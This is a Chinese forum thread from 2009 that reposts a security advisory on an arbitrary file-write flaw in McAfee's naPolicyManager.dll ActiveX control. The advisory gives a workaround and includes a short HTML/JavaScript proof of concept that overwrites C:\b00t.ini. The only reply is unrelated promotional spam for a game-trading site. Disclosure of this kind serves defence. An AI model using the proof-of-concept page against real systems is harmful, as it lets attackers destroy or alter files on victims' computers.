2571查看
1回复

[经验分享] [求助] McAfee 3.6.0.608 naPolicyManager.dll ActiveX 任意数据写入漏洞

主题	好友	248 积分

中级会员

发消息

发表于 2009-7-20 16:21:01 |显示全部楼层

[求助] McAfee 3.6.0.608 naPolicyManager.dll ActiveX 任意数据写入漏洞
GOODFELLAS Security Research TEAM
http://goodfellas.shellcode.com.ar
Greetings to str0ke

McAfee, Inc. 3.6.0.608 Policy Manager naPolicyManager.dll Arbitrary Data Write
==============================================================================

Internal ID: VULWAR20090616.
-----------

Introduction
------------

naPolicyManager.dll is a library included in the Program Mc Afee inc.

Tested In
---------

- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.

Summary
-------

The WriteTaskDataToIniFile method doesn't check if it's being called from the
application or from a malicious user. A Remote Attacker could craft a
html page and overwrite arbitrary files in a system.

Impact
------

The vulnerability could allow malicious users to write arbitrary data on a
vulnerable system that uses this software.

Workaround
----------

- Activate the Kill bit zero in the clsid corresponding to the software.
- Unregister naPolicyManager.dll using regsvr32.

Timeline
--------

July 16 2009 -- Bug Discovery.
July 16 2009 -- POC published.

Credits
-------

* callAX <bemariani@gmail.com>

Technical Details
-----------------

WriteTaskDataToIniFile method receives one argument filename in this format
"c:\path\file".

Proof of Concept
---------------

<HTML>
<BODY>
<object id=ctrl classid="clsid:{04D18721-749F-4140-AEB0-CAC099CA4741}"></object>
<SCRIPT>
function Do_1t()
{
File = "C:\b00t.ini"
ctrl.WriteTaskDataToIniFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>

收藏评分分享

使用道具举报

熠佳珊

主题	好友	42 积分

新手上路

发消息

发表于 2009-12-21 09:51:11 |显示全部楼层

从叮当猪到6870网的华丽转身，感谢一路上许许多多朋友默默帮助和支持，6870网今天才能茁壮成长。你们见证6870网的昨天、今天、明天，也见证了中国网游交易平台的昨天、今天和明天，因为6870网网游交易平台只是中国网游交易平台发展的一个缩影。
远离故乡只为了年轻时的那个为不足道承诺，也许是工作忙碌后的单调生活，也许是在新城市还未找到新的能打动我的心的好友，有时还会感到一丝孤寂，心中时常想念远离的挚友，思念故地和那些留在故地的好友，甚至无意间回忆以前在网游游戏上的点点滴滴。当突然收到一条来自6870网一个好友的祝福时，竟触发了我许多情思。
对挚友是永远的感恩，十几年的相伴与倾心相谈，多少的记忆已深刻入心，无论将来如何，心中会始终为你留一方空间；对6870网的感恩，为曾经在那人生失落的时刻，6870网默默配我走过那灰色孤寂的一段路程，曾经多少开心的时刻驱赶了孤独和寂寞，我们一路从相识、相知、相爱，那些属于我的难忘的时刻就这样诞生。也许当时真的没觉得什么，可对于此时独自回忆的我，那时候的生命是那么的精彩。那时候的6870网站对于我人生是多么的重要。
思念6870网那个地方，是因为曾经多少的记忆就留在那里，6870网虽然少城市霓虹的诱惑，没有酒吧狂欢后一个人独自的落寞，却因总和朋友相聚而变成纪念地。从来没有想到自己会对此如此的思念。思念中也让自己感动，我是一个喜欢创造心灵世界的人，单身生活更给了我空间，却因为6870网，第二次演绎出了一段人生异彩。
6870网那里可以暂时放下工作的紧张与疲惫，让我沉浸在自己的空间，在无数个孤寂的雨夜里，你们风雨同行，我的痛苦、失意、伤悲只有你知道。
在上面我认识许许多多和志同道合的朋友，尽管和好友们如今远离，工作的忙碌使我们联系越来越少，可那些你和我在6870网上面共同演绎的故事、欢笑、眼泪却在我心中封存了，我们曾经似远似近的那段相处，不经意间又变成我的一段快乐而缥缈的记忆，而且过滤了其中的杂质。偶尔会翻起，尤其一人在夜深窗前时，突然会有一段宁静，让自己的心去飞：往事如昨，那么清晰。
而今6870网在09年关，特意推出“财神”分成系统，让更多的玩家在网游交易时候享受到更多的实实在在优惠，辞旧迎新，财神送财，09年是6870网值的回忆的一年，这一年发生太多的故事，2010年同样也是值得期待的一年，因为6870网将带你走向另一个美好的明天。我会像支持叮当猪一样支持6870网和6870网的“财神”推广分成系统。

使用道具举报

返回列表

		自动登录	找回密码
密码			注册会员

[经验分享] [求助] McAfee 3.6.0.608 naPolicyManager.dll ActiveX 任意数据写入漏洞

快速发帖